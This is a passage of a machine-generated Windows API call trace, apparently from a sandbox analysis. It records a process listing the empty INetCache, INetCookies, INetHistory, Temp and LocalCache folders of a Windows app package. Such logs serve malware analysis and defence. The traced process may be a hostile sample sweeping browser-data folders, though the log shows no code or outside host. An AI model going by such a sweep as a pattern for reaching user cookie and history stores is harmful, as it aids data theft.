lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCache", lpFilePart=0x0) returned 0x6d [0215.556] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\inetcache\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.557] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.557] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.557] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.558] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCookies", lpFilePart=0x0) returned 0x6f [0215.558] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\inetcookies\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.559] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.559] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.559] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.560] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCookies", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCookies", lpFilePart=0x0) returned 0x6f [0215.560] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetCookies\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\inetcookies\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.560] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.560] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.561] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.561] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetHistory", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetHistory", lpFilePart=0x0) returned 0x6f [0215.561] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetHistory\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\inethistory\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0215.703] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.703] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.704] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0215.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.704] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.704] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetHistory", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetHistory", lpFilePart=0x0) returned 0x6f [0215.704] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\INetHistory\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\inethistory\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0215.705] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.705] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.705] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0215.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.706] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Temp", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Temp", lpFilePart=0x0) returned 0x68 [0215.706] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Temp\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\temp\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0215.706] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.707] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.707] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0215.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0215.707] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Temp", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Temp", lpFilePart=0x0) returned 0x68 [0215.707] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AC\\Temp\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\ac\\temp\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0215.708] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.708] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558b61ad, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558b61ad, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558b61ad, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.708] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0215.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0215.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0215.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.709] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AppData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AppData", lpFilePart=0x0) returned 0x68 [0215.709] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\appdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0215.710] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.710] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.710] FindClose (in: hFindFile=0x1d46a7e0 | out: hFindFile=0x1d46a7e0) returned 1 [0215.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.710] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AppData", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AppData", lpFilePart=0x0) returned 0x68 [0215.711] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\AppData\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\appdata\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a900 [0215.711] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.711] FindNextFileW (in: hFindFile=0x1d46a900, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0215.712] FindClose (in: hFindFile=0x1d46a900 | out: hFindFile=0x1d46a900) returned 1 [0215.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc800) returned 1 [0215.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc7c0) returned 1 [0215.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc8d0) returned 1 [0215.712] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalCache", nBufferLength=0x105, lpBuffer=0x1e0dc3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalCache", lpFilePart=0x0) returned 0x6b [0215.712] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\LocalCache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\localcache\\*"), lpFindFileData=0x1e0dc5e0 | out: lpFindFileData=0x1e0dc5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a7e0 [0215.713] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.714] FindNextFileW (in: hFindFile=0x1d46a7e0, lpFindFileData=0x1e0dc5a0 | out: lpFindFileData=0x1e0dc5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x558439bd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x558439bd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x558439bd, 